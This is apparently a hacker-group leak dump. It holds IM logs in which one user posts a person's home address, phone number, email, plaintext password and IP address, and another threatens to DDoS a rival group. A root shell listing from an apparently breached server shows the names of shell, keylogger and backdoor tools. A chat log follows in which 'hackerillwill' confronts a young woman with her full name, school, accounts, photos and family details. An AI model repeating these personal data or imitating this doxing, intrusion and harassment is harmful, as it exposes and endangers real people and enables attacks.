Phist -> Genocide: 2627 N Bourbon St. #27
Phist -> Genocide: Orange, CA 92865
Phist -> Genocide: (714) 322-0741
Phist -> Genocide: Email: Deadlydata
Phist -> Genocide: Password: partyguy6924
Phist -> Genocide: IP: 24.17.82.161
Genocide -> Phist: lawlz
Phist -> Genocide: That's wrong


tribaL -> loSt: as soon as illmob moves off our box
loSt -> tribaL: yo
tribaL -> loSt: im going to fucking ddos them to shit

tribaL -> loSt: i've done EVERYTHINGinmy power t help them
tribaL -> loSt: while illwill was locked up
tribaL -> loSt: and i get disrespected by him saying he has evverybodys dox
tribaL -> loSt: and he doubts i can get his

tribaL -> loSt: i fucking hosted their irc
loSt -> tribaL: why does illwill think he is the shit?
tribaL -> loSt: anybody thats ever fucked with them I TOOK DOWN
tribaL -> loSt: its not him
loSt -> tribaL: he came back after 2 years thinking he still knows everything



~~~~~~~~~~~~

Some simple logs for you.

[root@demon2 illmob]# ls -al
total 92
drwx--x--x  7 illmob illmob  4096 Apr  1 04:21 .
drwx--x--x 50 root   root    4096 Mar 27 16:19 ..
drwx------  2 illmob illmob  4096 Aug  2  2007 backups
-rw-r--r--  1 illmob illmob    24 Aug  1  2007 .bash_logout
-rw-r--r--  1 illmob illmob   176 Aug  1  2007 .bash_profile
-rw-r--r--  1 illmob illmob   124 Aug  1  2007 .bashrc
-rw-r--r--  1 illmob illmob  3541 Feb  1 11:44 blade.css
drwxr-xr-x  3 illmob illmob  4096 Aug  2  2007 domains
drwxrwx---  3 illmob illmob  4096 Mar 12 16:37 imap
drwx------  2 illmob illmob  4096 Aug  1  2007 mail
-rw-r--r--  1 illmob illmob 21544 Feb  1 11:44 network.html
-rw-r--r--  1 illmob illmob 12391 Feb  1 11:44 network.xml
lrwxrwxrwx  1 illmob illmob    32 Apr  1 04:21 public_html -> ./domains/illmob.org/public_html
-rw-r-----  1 illmob mail      34 Apr  1 04:21 .shadow
drwxr-xr-x  3 illmob illmob  4096 Jan  7 20:20 webmail
[root@demon2 illmob]# ls -al public_html/
total 39396
drwxr-xr-x 28 illmob illmob	4096 Mar 19 12:37 .
drwxr-xr-x  8 illmob illmob	4096 Aug  2  2007 ..
-rw-r--r--  1 illmob illmob	 970 Jan 31  2006 404.shtml
-rw-r--r--  1 illmob illmob    90738 Jan 31  2006 404.swf
-rw-r--r--  1 illmob illmob   148330 Jan  2 20:59 60592_owned.jpg
-rw-r--r--  1 illmob illmob	7168 Jan 10 09:25 aim.exe
-rw-r--r--  1 illmob illmob   279054 Jan 10 22:37 aimview.jpg
-rw-r--r--  1 illmob illmob   603176 Feb 21 18:55 autoruns.exe
-rw-r--r--  1 illmob illmob	5672 Feb 24  2006 BatShells.rar
-rw-r--r--  1 illmob illmob	9150 Feb 24  2006 batshells.txt
-rw-r--r--  1 illmob illmob	 100 Mar  2 09:44 bb.html
-rw-r--r--  1 illmob illmob   177664 Feb  3  2006 BinaryTextScan.exe
-rw-r--r--  1 illmob illmob	3541 Feb  1 11:46 blade.css
-rw-r--r--  1 illmob illmob	 700 Jan 31  2006 blah_left.htm
-rw-r--r--  1 illmob illmob    55233 Jan 31  2006 blah_right.htm
-rw-r--r--  1 illmob illmob    86132 Feb 20  2006 blingring.jpg
drwxr-xr-x  2 illmob illmob	4096 Feb 11 07:05 carputer
-rw-r--r--  1 illmob illmob    13962 Feb 12  2006 case.html
drwxr-xr-x  2 illmob illmob	4096 Aug  1  2007 cd-nix
-rw-r--r--  1 illmob illmob	  81 Feb 15 20:58 celebs.html
-rw-r--r--  1 illmob illmob   345466 Feb 15 20:56 celebs.rar
-rw-r--r--  1 illmob illmob   345244 Feb 15 21:00 celebs.zip
drwxr-xr-x  2 illmob illmob	4096 Jan 28  2006 cgi-bin
drwxr-xr-x  4 illmob illmob	4096 Aug  1  2007 chat
drwxr-xr-x  2 illmob illmob	4096 Aug  1  2007 clay
-rw-r--r--  1 illmob illmob    13450 Jan 31  2006 Copy of index.php
-rw-r--r--  1 illmob illmob    22565 Jan 14 21:24 Desktop.rar
drwxr-xr-x  2 illmob illmob	4096 Aug  1  2007 desktops
-rw-r--r--  1 illmob illmob   784605 Oct 30  2006 ds2.mp3
-rw-r--r--  1 illmob illmob  3139377 Oct 30  2006 ds.mp3
drwxrwxr-x  2 illmob illmob	4096 Aug  4  2007 ff
drwxrwxr-x 16 illmob illmob	4096 Aug  1  2007 files
-rw-r--r--  1 illmob illmob   115057 Mar 18  2006 files.html
drwxr-xr-x  6 illmob illmob	4096 Aug  1  2007 fingerbang
-rw-r--r--  1 illmob illmob	5310 Dec 19 07:38 firefox.txt
drwxr-xr-x  6 illmob illmob	4096 Aug  1  2007 freeillwill
-rw-r--r--  1 illmob illmob    28119 Mar 17 18:54 fuckme.JPG
drwxr-xr-x  3 illmob illmob    36864 Aug 12  2007 funny
-rw-r--r--  1 illmob illmob	6301 Jan  5 22:00 getkey.exe
-rw-r--r--  1 illmob illmob    65649 Jan  9 21:37 getkeyvista.JPG
-rw-r--r--  1 illmob illmob    43518 Jan 15 18:12 google.jpg
-rw-r--r--  1 illmob illmob	9652 Jan 31  2006 hack.jpg
-rw-r--r--  1 illmob illmob	3197 Mar 13 20:16 h.gif
-rw-r--r--  1 illmob illmob    69822 Feb  2  2006 hozilla.bmp
-rw-r--r--  1 illmob illmob   100571 Feb  3  2006 hozilla.htm
-rw-r--r--  1 illmob illmob    87474 Dec 21 13:22 hozilla_src.zip
-rw-r--r--  1 illmob illmob	   0 Feb  5  2006 .htaccess
-rw-r--r--  1 illmob illmob    16761 Feb 20  2006 illmob_logo.jpg
-rw-r--r--  1 illmob illmob	1134 Feb  1  2006 illmob_radio.pls
-rw-r--r--  1 illmob illmob   199955 Jan 31  2006 illwill.html
drwxrwxr-x  8 illmob illmob	4096 Jan 16 06:30 images
-rw-r--r--  1 illmob illmob    95409 Mar  6  2006 img_0029.jpg
drwxr-xr-x  2 illmob illmob	4096 Aug  1  2007 inc
-rwxr-xr-x  1 illmob illmob	 608 Apr 28  2006 index.old
-rw-r--r--  1 illmob illmob	8718 Feb 15  2006 index_.php
-rw-r--r--  1 illmob illmob	8712 Feb 14  2006 index.php
drwxr-xr-x  3 illmob illmob	4096 Mar 12 16:34 irc
-rw-r--r--  1 illmob illmob    14838 Feb 23  2006 jen2.jpg
-rw-r--r--  1 illmob illmob    15052 Feb 23  2006 jen3.jpg
-rw-r--r--  1 illmob illmob    14896 Feb 23  2006 jen.jpg
drwxr-xr-x  4 illmob illmob	4096 Mar 13 21:19 kiddies
drwxr-xr-x  2 illmob illmob	4096 Feb  1 11:58 lanimages
-rw-r--r--  1 illmob illmob	 331 Jan 31  2006 links.html
-rw-r--r--  1 illmob illmob   775930 Mar  2  2006 ll.jpg
-rw-rw-r--  1 illmob illmob	   0 Feb  2  2006 logger.html
-rw-r--r--  1 illmob illmob	 219 Feb  2  2006 logger.php
-rwxr-xr-x  1 illmob illmob    18554 Jun  5  2003 logo.jpg
drwxr-xr-x  3 illmob illmob	4096 Aug  1  2007 macdaddy
-rw-r--r--  1 illmob illmob	2326 Mar 10  2006 macdaddy.html
drwxr-xr-x  2 illmob illmob	4096 Aug  1  2007 mactrack
drwxr-xr-x  2 illmob illmob	4096 Dec 21 12:56 maxima
-rw-r--r--  1 illmob illmob    17518 Dec 21 13:24 me.jpg
-rw-r--r--  1 illmob illmob	 447 Feb 13  2006 mia.txt
-rw-r--r--  1 illmob illmob	1475 Feb 23  2006 minishell.asm
-rw-r--r--  1 illmob illmob	2560 Feb 23  2006 minishell.exe
-rw-r--r--  1 illmob illmob	1218 Mar 10  2006 motd
-rw-r--r--  1 illmob illmob    19119 Feb 28  2006 mouth.jpg
drwxr-xr-x  2 illmob illmob	4096 Feb 20 15:42 myQuickAdmin
-rw-r--r--  1 illmob illmob	6780 Jan 31 14:38 myspace.html
-rw-r--r--  1 illmob illmob    21548 Feb  1 12:00 network.html
-rw-r--r--  1 illmob illmob    12391 Feb  1 11:46 network.xml
drwxr-xr-x  2 illmob illmob	4096 Jan 10 12:56 new
-rw-r--r--  1 illmob illmob	 903 Jan 31  2006 new.gif
-rw-r--r--  1 illmob illmob    11903 Jan 31  2006 oldindex.php
-rw-r--r--  1 illmob illmob    53497 Feb 20  2006 panel.php
-rw-r--r--  1 illmob illmob    18438 Jan 10 22:40 passview.jpg
-rw-r--r--  1 illmob illmob    22301 Jan 11 06:33 passview.png
-rw-r--r--  1 illmob illmob    52930 Jan 31  2006 paypal3.jpg
-rw-r--r--  1 illmob illmob    35474 Jan 31  2006 paypal4.jpg
-rw-r--r--  1 illmob illmob    52541 Jan 31  2006 paypal-malcovitch1.jpg
-rw-r--r--  1 illmob illmob    55151 Jan 31  2006 paypal-malcovitch2.jpg
-rw-r--r--  1 illmob illmob    54589 Jan 31  2006 paypal-malcovitch3.jpg
-rw-r--r--  1 illmob illmob    58468 Jan 31  2006 paypal-malcovitch4.jpg
drwxr-xr-x  2 illmob illmob	4096 Feb 18 15:30 phist
-rw-r--r--  1 illmob illmob	1922 Dec  4 11:14 php.txt
-rw-r--r--  1 illmob illmob    20867 Mar  2  2006 pigroast.jpg
-rw-r--r--  1 illmob illmob  3564584 Feb 21 18:55 procexp.exe
-rw-r--r--  1 illmob illmob    19987 Feb 24  2006 r00t1n.txt
-rw-r--r--  1 illmob illmob	3772 Mar 31  2006 rainbow.html
-rw-r--r--  1 illmob illmob    40754 Mar 18  2006 releases.html
-rw-r--r--  1 illmob illmob	4604 Feb 24  2006 reverse.bat
-rw-r--r--  1 illmob illmob	 850 Jan 31  2006 rid.php
-rw-r--r--  1 illmob illmob    55412 Jul  3  2007 rulezz.conf
-rw-r--r--  1 illmob illmob	3054 Feb 23  2006 shell.bat
-rw-r--r--  1 illmob illmob  9722720 Feb 21 18:54 spybot.exe
-rw-r--r--  1 illmob illmob    18569 Jun  7  2007 staff.html
-rw-r--r--  1 illmob illmob    17038 Oct  9  2006 staff.old
-rw-r--r--  1 illmob illmob	3136 Mar 19 12:37 stalker.txt
-rw-r--r--  1 illmob illmob  1224537 Dec 27 09:21 StupidKidGangsta.gif
drwxr-xr-x  2 illmob illmob	4096 Aug  1  2007 suspended.page
-rw-r--r--  1 illmob illmob	2560 Jan 31  2006 test.exe
-rw-r--r--  1 illmob illmob 15169130 Mar 12  2006 TheILLIST.rar
-rw-r--r--  1 illmob illmob	 940 Nov  1  2006 tikiwiki.txt
-rw-r--r--  1 illmob illmob   186040 Feb 15  2006 tommy.jpg
-rw-r--r--  1 illmob illmob    10181 Jan 16 06:39 toughbook.html
-rw-r--r--  1 illmob illmob  1073835 Dec 26 06:21 usb-rape.zip
-rw-r--r--  1 illmob illmob	2545 Mar  7  2006 users.txt
drwxr-xr-x  2 illmob illmob	4096 Aug  1  2007 videos
-rw-r--r--  1 illmob illmob   170305 Feb 21 18:27 vnc.exe
-rw-r--r--  1 illmob illmob   115200 Feb 22 18:09 vundofix.exe
drwxr-xr-x  2 illmob illmob	4096 Aug  1  2007 wan
-rw-r--r--  1 illmob illmob    29639 Feb 20  2006 woodohs.jpg
drwxr-xr-x  2 illmob illmob	4096 Aug  1  2007 wtf
[root@demon2 public_html]# cat stalker.txt
[15:53] hackerillwill: hi
[15:53] SAMCAT03: hi
[15:53] hackerillwill: im still trying to figure you out lol
[15:54] SAMCAT03: ok
[15:54] hackerillwill: u said wallingfor drighht
[15:54] SAMCAT03: dont worry about it
[15:57] hackerillwill: WELL I JUST WANTED TO KNOW WHY I ADDE YOU ,THERE HAD TO
BE A REASON
[15:57] SAMCAT03: well u obviously dont know who i am so why bother
[15:57] SAMCAT03: its not important
[15:58] hackerillwill:
Samcat03
Age: 22, Gender: female, Location: Waterbury, CT

[15:58] SAMCAT03: ok
[15:58] hackerillwill:
Samantha Moeckel
[15:58] SAMCAT03: and thats wrong
[15:58] hackerillwill: BETTER?
[15:59] SAMCAT03: thats not me
[15:59] hackerillwill: capricorn
[15:59] hackerillwill: attend Western Connecticut State University majoring in
secondary math education
[15:59] SAMCAT03: nope
[16:00] hackerillwill: sgm1385 is your yahoo
[16:01] SAMCAT03: why do u care who i am?
[16:01] hackerillwill: like i said i was just wondering because i added you
like 2 yrs ago
[16:01] hackerillwill: and you make me have to do it the hard way
[16:01] SAMCAT03: ummm ok
[16:01] hackerillwill: maybe we flirted in a chatroom before
[16:02] SAMCAT03: u still dont know me though
[16:02] SAMCAT03: no cause i dont go on yahoo
[16:02] hackerillwill: i never said i talke dto you on yahoo
[16:03] hackerillwill: im just saying thats your yahoo name
[16:03] SAMCAT03: im sorry im just having a tough time right now i dont mean to
be rude
[16:03] hackerillwill: its ok
[16:04] hackerillwill: yer cute i guess
[16:04] SAMCAT03: how do u even have a [pic of me?
[16:05] hackerillwill: i have a bunch of pics of you
[16:05] SAMCAT03: ok but how?
[16:05] hackerillwill: i like the one of you in the black dress in the hcair
[16:05] hackerillwill: chair*
[16:05] hackerillwill: ok seperate my screen name
[16:05] hackerillwill: im illwill
[16:06] hackerillwill: whats the first part
[16:06] SAMCAT03: u still arent answering the question
[16:06] hackerillwill: i just did
[16:06] hackerillwill: come on youre a college gril
[16:06] hackerillwill: girl*
[16:07] hackerillwill: MOECKEL, SAMANTHA G (Age 23)
[16:07] hackerillwill: daughter of MOECKEL, SANDRA A (Age 59)
[16:07] hackerillwill: better?
[16:08] SAMCAT03: i dont got time to be playing games
[16:08] SAMCAT03: bye
[16:08] hackerillwill: did you seperate my screen name
[16:08] hackerillwill: hackerillwill
[16:08] hackerillwill: illwill
[16:08] hackerillwill: hacker
[16:09] SAMCAT03: yes but im not playing bye
[16:09] SAMCAT03: i have better things to do then be stalked
[16:09] hackerillwill: im not stalking
[16:09] hackerillwill: i simply asked who you were
[16:09] hackerillwill: thats all i wanted to know
[16:10] hackerillwill: you could have said hi im sam im from waterbury
[16:10] SAMCAT03: ok so then u know so bue
[16:10]